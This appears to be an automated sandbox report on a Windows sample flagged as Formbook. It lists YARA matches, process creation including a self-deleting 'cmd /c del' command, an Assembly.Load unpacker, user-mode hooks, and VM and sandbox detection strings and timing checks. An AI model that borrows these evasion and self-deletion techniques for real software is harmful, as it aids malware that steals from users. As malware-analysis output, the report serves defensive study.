Source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: emthree.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@4/3

Source: C:\Users\user\Desktop\emthree.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\emthree.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6264:120:WilError_01

Source: emthree.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\emthree.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\emthree.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: emthree.exe	Metadefender: Detection: 35%
Source: emthree.exe	ReversingLabs: Detection: 64%

Source: unknown	Process created: C:\Users\user\Desktop\emthree.exe 'C:\Users\user\Desktop\emthree.exe'
Source: unknown	Process created: C:\Users\user\Desktop\emthree.exe {path}
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\emthree.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\emthree.exe	Process created: C:\Users\user\Desktop\emthree.exe {path}
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\emthree.exe'

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Users\user\Desktop\emthree.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: emthree.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: emthree.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: emthree.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: emthree.exe, 00000001.00000002.276250317.0000000000FC0000.00000040.00000001.sdmp, rundll32.exe, 00000006.00000002.490418156.0000000004E80000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: emthree.exe, rundll32.exe
Source:	Binary string: rundll32.pdb source: emthree.exe, 00000001.00000002.276125323.0000000000AF0000.00000040.00000001.sdmp
Source:	Binary string: rundll32.pdbGCTL source: emthree.exe, 00000001.00000002.276125323.0000000000AF0000.00000040.00000001.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: emthree.exe, Cycle_Jump_Game/Main.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.emthree.exe.f40000.0.unpack, Cycle_Jump_Game/Main.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.emthree.exe.f40000.0.unpack, Cycle_Jump_Game/Main.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.emthree.exe.460000.0.unpack, Cycle_Jump_Game/Main.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.emthree.exe.460000.1.unpack, Cycle_Jump_Game/Main.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xCD1766EF [Fri Jan 13 19:15:59 2079 UTC]

Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041D0E2 push eax; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041D0EB push eax; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041D095 push eax; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041D14C push eax; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_004082B3 push ebp; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0040E404 push edx; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041ECE9 push esp; ret
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0103D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EFD0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D982B3 push ebp; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAD0EB push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAD0E2 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAD095 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAD14C push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAECE9 push esp; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D9E404 push edx; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.70662287757

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xEA

Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\emthree.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: emthree.exe PID: 4600, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\emthree.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\emthree.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000002D998E4 second address: 0000000002D998EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000002D99B5E second address: 0000000002D99B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\emthree.exe

Code function: 1_2_00409A90 rdtsc

Source: C:\Users\user\Desktop\emthree.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\emthree.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\emthree.exe	Window / User API: threadDelayed 368
Source: C:\Users\user\Desktop\emthree.exe	Window / User API: threadDelayed 820

Source: C:\Users\user\Desktop\emthree.exe TID: 4612	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\Desktop\emthree.exe TID: 6000	Thread sleep time: -41500s >= -30000s
Source: C:\Users\user\Desktop\emthree.exe TID: 2872	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 1268	Thread sleep count: 35 > 30
Source: C:\Windows\explorer.exe TID: 1268	Thread sleep time: -70000s >= -30000s

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000002.00000000.260477578.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000002.00000002.494634416.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.258991839.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: l%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000002.00000000.241832967.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000002.00000000.260992522.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000002.00000000.253126007.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000002.00000000.258991839.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000002.00000000.258991839.0000000008270000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000002.00000000.260992522.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: emthree.exe, 00000000.00000002.240074394.000000000387D000.00000004.00000001.sdmp	Binary or memory string: l"SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000002.00000000.258991839.0000000008270000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\emthree.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\emthree.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\emthree.exe

Code function: 1_2_00409A90 rdtsc

Source: C:\Users\user\Desktop\emthree.exe

Code function: 1_2_0040ACD0 LdrLoadDll,

Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE58EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010669A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010161A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010161A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010651BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010651BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010651BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010651BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010741E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01000050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01000050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01063884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01063884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010290AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFAAB0 mov eax, dword ptr fs:[00000030h]
